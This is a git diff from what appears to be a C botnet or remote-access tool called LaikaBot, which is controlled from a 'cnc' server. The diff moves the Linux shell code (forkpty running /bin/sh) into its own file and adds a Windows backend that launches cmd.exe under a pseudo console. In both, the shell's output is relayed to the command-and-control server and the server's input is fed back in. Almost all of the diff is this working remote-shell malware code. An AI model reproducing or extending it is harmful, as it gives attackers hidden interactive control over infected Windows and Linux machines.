diff --git a/.vscode/settings.json b/.vscode/settings.json
index 72bc948..9fd6aaa 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -27,7 +27,8 @@
         "*.in": "cpp",
         "lerror.h": "c",
         "stdbool.h": "c",
-        "alloca.h": "c"
+        "alloca.h": "c",
+        "bot.h": "c"
     },
     "cSpell.words": [
         "cnc's",
diff --git a/CMakeLists.txt b/CMakeLists.txt
index 2578978..44c2a44 100644
--- a/CMakeLists.txt
+++ b/CMakeLists.txt
@@ -42,8 +42,8 @@ add_subdirectory(lib)
 add_subdirectory(tools)
 
 # these subprojects don't support windows (sorry)
+add_subdirectory(bot) # windows support Soon:tm:
 if(NOT WIN32 AND (UNIX AND NOT APPLE))
-  add_subdirectory(bot) # windows support Soon:tm:
   add_subdirectory(cnc)
   add_subdirectory(shell)
 endif ()
diff --git a/bot/CMakeLists.txt b/bot/CMakeLists.txt
index dbfe792..8cbd36f 100644
--- a/bot/CMakeLists.txt
+++ b/bot/CMakeLists.txt
@@ -10,8 +10,19 @@ set_property(GLOBAL PROPERTY USE_FOLDERS ON)
 # compile LaikaBot
 file(GLOB_RECURSE BOTSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
 file(GLOB_RECURSE BOTHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
-add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS})
-target_link_libraries(LaikaBot PUBLIC LaikaLib util)
+
+# include platform specific backends
+set(BOTPLATFORMSOURCE)
+set(BOTPLATFORMLIBS)
+if(WIN32)
+    file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/win/**.c)
+elseif(UNIX AND NOT APPLE)
+    file(GLOB_RECURSE BOTPLATFORMSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/lin/**.c)
+    set(BOTPLATFORMLIBS util)
+endif ()
+
+add_executable(LaikaBot ${BOTSOURCE} ${BOTHEADERS} ${BOTPLATFORMSOURCE})
+target_link_libraries(LaikaBot PUBLIC LaikaLib ${BOTPLATFORMLIBS})
 
 # add the 'DEBUG' preprocessor definition if we're compiling as Debug
 target_compile_definitions(LaikaBot PUBLIC "$<$<CONFIG:Debug>:DEBUG>")
diff --git a/bot/include/shell.h b/bot/include/shell.h
index 24feeba..e137dd9 100644
--- a/bot/include/shell.h
+++ b/bot/include/shell.h
@@ -4,10 +4,7 @@
 #include <stddef.h>
 
 struct sLaika_bot;
-struct sLaika_shell {
-    int pid;
-    int fd;
-};
+struct sLaika_shell;
 
 struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows);
 void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell);
diff --git a/bot/lin/linshell.c b/bot/lin/linshell.c
new file mode 100644
index 0000000..a9822e1
--- /dev/null
+++ b/bot/lin/linshell.c
@@ -0,0 +1,110 @@
+/* platform specific code for opening shells in linux */
+
+#include <unistd.h>
+#include <signal.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <pty.h>
+
+#include "lerror.h"
+#include "lmem.h"
+#include "bot.h"
+#include "shell.h"
+
+struct sLaika_shell {
+    int pid;
+    int fd;
+};
+
+struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {
+    struct winsize ws;
+    struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
+
+    ws.ws_col = cols;
+    ws.ws_row = rows;
+    shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
+
+    if (shell->pid == 0) {
+        /* child process, clone & run shell */
+        execlp("/bin/sh", "sh", (char*) NULL);
+        exit(0);
+    }
+
+    /* make sure our calls to read() & write() do not block */
+    if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
+        laikaB_freeShell(bot, shell);
+        LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
+    }
+
+    return shell;
+}
+
+void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    /* kill the shell */
+    kill(shell->pid, SIGTERM);
+    close(shell->fd);
+
+    bot->shell = NULL;
+    laikaM_free(shell);
+}
+
+bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+
+    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
+
+    if (rd > 0) {
+        /* we read some input! send to cnc */
+        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
+        laikaS_write(sock, readBuf, rd);
+        laikaS_endVarPacket(peer);
+    } else if (rd == -1) {
+        if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
+            return true; /* recoverable, there was no data to read */
+        /* not EWOULD or EAGAIN, must be an error! so close the shell */
+
+        /* tell cnc shell is closed */
+        laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+
+        /* kill shell */
+        laikaB_freeShell(bot, shell);
+        return false;
+    }
+
+    return true;
+}
+
+bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
+    struct sLaika_peer *peer = bot->peer;
+    struct sLaika_socket *sock = &peer->sock;
+    size_t nLeft;
+    int nWritten;
+
+    nLeft = length;
+    while (nLeft > 0) {
+        if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
+            /* some error occurred */
+            if (length == nLeft) {
+                /* unrecoverable error */
+
+                /* tell cnc shell is closed */
+                laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+
+                /* kill shell */
+                laikaB_freeShell(bot, shell);
+                return false;
+            } else { /* recoverable */
+                break;
+            }
+        } else if (nWritten == 0) {
+            break;
+        }
+        nLeft -= nWritten;
+        buf += nWritten;
+    }
+
+    return true;
+}
\ No newline at end of file
diff --git a/bot/src/shell.c b/bot/src/shell.c
index d6b8607..efa38be 100644
--- a/bot/src/shell.c
+++ b/bot/src/shell.c
@@ -1,108 +1,12 @@
-#include <unistd.h>
-#include <signal.h>
 #include <stdlib.h>
 #include <string.h>
 #include <stdio.h>
-#include <pty.h>
 
 #include "lerror.h"
 #include "lmem.h"
 #include "bot.h"
 #include "shell.h"
 
-struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {
-    struct winsize ws;
-    struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
-
-    ws.ws_col = cols;
-    ws.ws_row = rows;
-    shell->pid = forkpty(&shell->fd, NULL, NULL, &ws);
-
-    if (shell->pid == 0) {
-        /* child process, clone & run shell */
-        execlp("/bin/sh", "sh", (char*) NULL);
-        exit(0);
-    }
-
-    /* make sure our calls to read() & write() do not block */
-    if (fcntl(shell->fd, F_SETFL, (fcntl(shell->fd, F_GETFL, 0) | O_NONBLOCK)) != 0) {
-        laikaB_freeShell(bot, shell);
-        LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
-    }
-
-    bot->shell = shell;
-    return shell;
-}
-
-void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
-    /* kill the shell */
-    kill(shell->pid, SIGTERM);
-    close(shell->fd);
-
-    bot->shell = NULL;
-    laikaM_free(shell);
-}
-
-bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
-    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
-    struct sLaika_peer *peer = bot->peer;
-    struct sLaika_socket *sock = &peer->sock;
-
-    int rd = read(shell->fd, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH);
-
-    if (rd > 0) {
-        /* we read some input! send to cnc */
-        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
-        laikaS_write(sock, readBuf, rd);
-        laikaS_endVarPacket(peer);
-    } else if (rd == -1) {
-        if (LN_ERRNO == LN_EWOULD || LN_ERRNO == EAGAIN)
-            return true; /* recoverable, there was no data to read */
-        /* not EWOULD or EAGAIN, must be an error! so close the shell */
-
-        /* tell cnc shell is closed */
-        laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
-
-        /* kill shell */
-        laikaB_freeShell(bot, shell);
-        return false;
-    }
-
-    return true;
-}
-
-bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
-    struct sLaika_peer *peer = bot->peer;
-    struct sLaika_socket *sock = &peer->sock;
-    size_t nLeft;
-    int nWritten;
-
-    nLeft = length;
-    while (nLeft > 0) {
-        if ((nWritten = write(shell->fd, buf, nLeft)) < 0) {
-            /* some error occurred */
-            if (length == nLeft) {
-                /* unrecoverable error */
-
-                /* tell cnc shell is closed */
-                laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
-
-                /* kill shell */
-                laikaB_freeShell(bot, shell);
-                return false;
-            } else { /* recoverable */
-                break;
-            }
-        } else if (nWritten == 0) {
-            break;
-        }
-        nLeft -= nWritten;
-        buf += nWritten;
-    }
-
-    return true;
-}
-
 /* ============================================[[ Packet Handlers ]]============================================= */
 
 void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
@@ -117,7 +21,7 @@ void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
     laikaS_readInt(&peer->sock, &rows, sizeof(uint16_t));
 
     /* open shell */
-    laikaB_newShell(bot, cols, rows);
+    bot->shell = laikaB_newShell(bot, cols, rows);
 }
 
 void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
diff --git a/bot/win/winshell.c b/bot/win/winshell.c
new file mode 100644
index 0000000..353d774
--- /dev/null
+++ b/bot/win/winshell.c
@@ -0,0 +1,210 @@
+/* platform specific code for opening shells (pseudo consoles) on windows */
+#include "lerror.h"
+#include "lmem.h"
+#include "bot.h"
+#include "shell.h"
+
+#include <windows.h>
+#include <process.h>
+
+/* shells are significantly more complex on windows than linux for laika */
+struct sLaika_shell {
+    HANDLE in, out;
+    PROCESS_INFORMATION procInfo;
+    STARTUPINFOEX startupInfo;
+    HPCON pseudoCon;
+    /* HANDLE watcherMutex;
+    char *outBuf;
+    int outCount, outCap;
+    char *inBuf;
+    int inCount, inCap; */
+};
+
+/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
+HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
+    COORD consoleSize = (COORD){.X = cols, .Y = rows};
+    HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
+    HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
+    HRESULT hr;
+    DWORD mode = PIPE_NOWAIT;
+
+    /* create the pipes to which the ConPTY will connect */
+    if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
+        return HRESULT_FROM_WIN32(GetLastError());
+
+    /* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
+        the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
+    if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
+        return HRESULT_FROM_WIN32(GetLastError());
+
+    /* create the pseudo console of the required size, attached to the PTY - end of the pipes */
+    hr = CreatePseudoConsole(consoleSize, hPipePTYIn, hPipePTYOut, 0, phPC);
+
+    /* we can close the handles to the PTY-end of the pipes here
+        because the handles are dup'ed into the ConHost and will be released
+        when the ConPTY is destroyed. */
+    CloseHandle(hPipePTYOut);
+    CloseHandle(hPipePTYIn);
+    return hr;
+}
+
+/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
+HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
+    HRESULT hr = E_UNEXPECTED;
+
+    if (pStartupInfo) {
+        size_t attrListSize = 0;
+        pStartupInfo->StartupInfo.cb = sizeof(STARTUPINFOEX);
+
+        /* Get the size of the thread attribute list & allocate it */
+        InitializeProcThreadAttributeList(NULL, 1, 0, &attrListSize);
+        pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
+
+        /* Initialize thread attribute list */
+        if (pStartupInfo->lpAttributeList
+            && InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
+
+            /* Set Pseudo Console attribute */
+            hr = UpdateProcThreadAttribute(
+                pStartupInfo->lpAttributeList,
+                0,
+                PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
+                hPC,
+                sizeof(HPCON),
+                NULL,
+                NULL)
+                ? S_OK : HRESULT_FROM_WIN32(GetLastError());
+        } else {
+            hr = HRESULT_FROM_WIN32(GetLastError());
+        }
+    }
+
+    return hr;
+}
+
+
+struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int cols, int rows) {;
+    HRESULT hr;
+    char cmd[] = "cmd.exe";
+    struct sLaika_shell* shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
+
+    ZeroMemory(shell, sizeof(struct sLaika_shell));
+
+    /* create pty */
+    hr = CreatePseudoConsoleAndPipes(&shell->pseudoCon, &shell->in, &shell->out, cols, rows);
+    if (hr != S_OK) {
+        laikaM_free(shell);
+        return NULL;
+    }
+
+    /* create process */
+    hr = InitializeStartupInfoAttachedToPseudoConsole(&shell->startupInfo, shell->pseudoCon);
+    if (hr != S_OK) {
+        ClosePseudoConsole(shell->pseudoCon);
+
+        laikaM_free(shell);
+        return NULL;
+    }
+
+    /* launch cmd shell */
+    hr = CreateProcessA(
+        NULL,                           /* No module name - use Command Line */
+        cmd,                            /* Command Line */
+        NULL,                           /* Process handle not inheritable */
+        NULL,                           /* Thread handle not inheritable */
+        FALSE,                          /* Inherit handles */
+        EXTENDED_STARTUPINFO_PRESENT,   /* Creation flags */
+        NULL,                           /* Use parent's environment block */
+        NULL,                           /* Use parent's starting directory */
+        &shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
+        &shell->procInfo)               /* Pointer to PROCESS_INFORMATION */
+        ? S_OK : HRESULT_FROM_WIN32(GetLastError());
+
+    if (hr != S_OK) {
+        DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
+        laikaM_free(shell->startupInfo.lpAttributeList);
+        
+        ClosePseudoConsole(shell->pseudoCon);
+
+        laikaM_free(shell);
+        return NULL;
+    }
+
+    return shell;
+}
+
+void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    /* kill process (it's ok if it fails) */
+    TerminateProcess(shell->procInfo.hProcess, 0);
+
+    /* cleanup process - info & thread */
+    CloseHandle(shell->procInfo.hThread);
+    CloseHandle(shell->procInfo.hProcess);
+
+    /* Cleanup attribute list */
+    DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
+    laikaM_free(shell->startupInfo.lpAttributeList);
+
+    /* close pseudo console */
+    ClosePseudoConsole(shell->pseudoCon);
+
+    /* free shell struct */
+    laikaM_free(shell);
+    bot->shell = NULL;
+}
+
+bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
+    char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH];
+    struct sLaika_peer* peer = bot->peer;
+    struct sLaika_socket* sock = &peer->sock;
+    DWORD rd;
+    bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH, &rd, NULL);
+
+    if (readSucc) {
+        /* we read some input! send to cnc */
+        laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
+        laikaS_write(sock, readBuf, rd);
+        laikaS_endVarPacket(peer);
+    } else {
+        if (GetLastError() == ERROR_NO_DATA)
+            return true; /* recoverable, there was no data to read */
+
+        /* tell cnc shell is closed */
+        laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+
+        /* kill shell */
+        laikaB_freeShell(bot, shell);
+        return false;
+    }
+
+    return true;
+}
+
+bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char *buf, size_t length) {
+    struct sLaika_peer* peer = bot->peer;
+    struct sLaika_socket* sock = &peer->sock;
+    size_t nLeft;
+    DWORD nWritten;
+
+    nLeft = length;
+    while (nLeft > 0) {
+        if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
+            /* unrecoverable error */
+
+            /* tell cnc shell is closed */
+            laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
+
+            /* kill shell */
+            laikaB_freeShell(bot, shell);
+            return false;
+        }
+
+        if (nWritten == 0)
+            break;
+
+        nLeft -= nWritten;
+        buf += nWritten;
+    }
+
+    return true;
+}
\ No newline at end of file
diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h
index f594cc9..5afd5c0 100644
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@@ -9,8 +9,8 @@
 #define LAIKA_MAX_PKTSIZE 4096
 
 #define LAIKA_HOSTNAME_LEN 64
-#define LAIKA_IPV4_LEN INET_ADDRSTRLEN
-#define LAIKA_INET_LEN INET_ADDRSTRLEN
+#define LAIKA_IPV4_LEN 16
+#define LAIKA_INET_LEN 16
 
 #define LAIKA_SHELL_DATA_MAX_LENGTH 256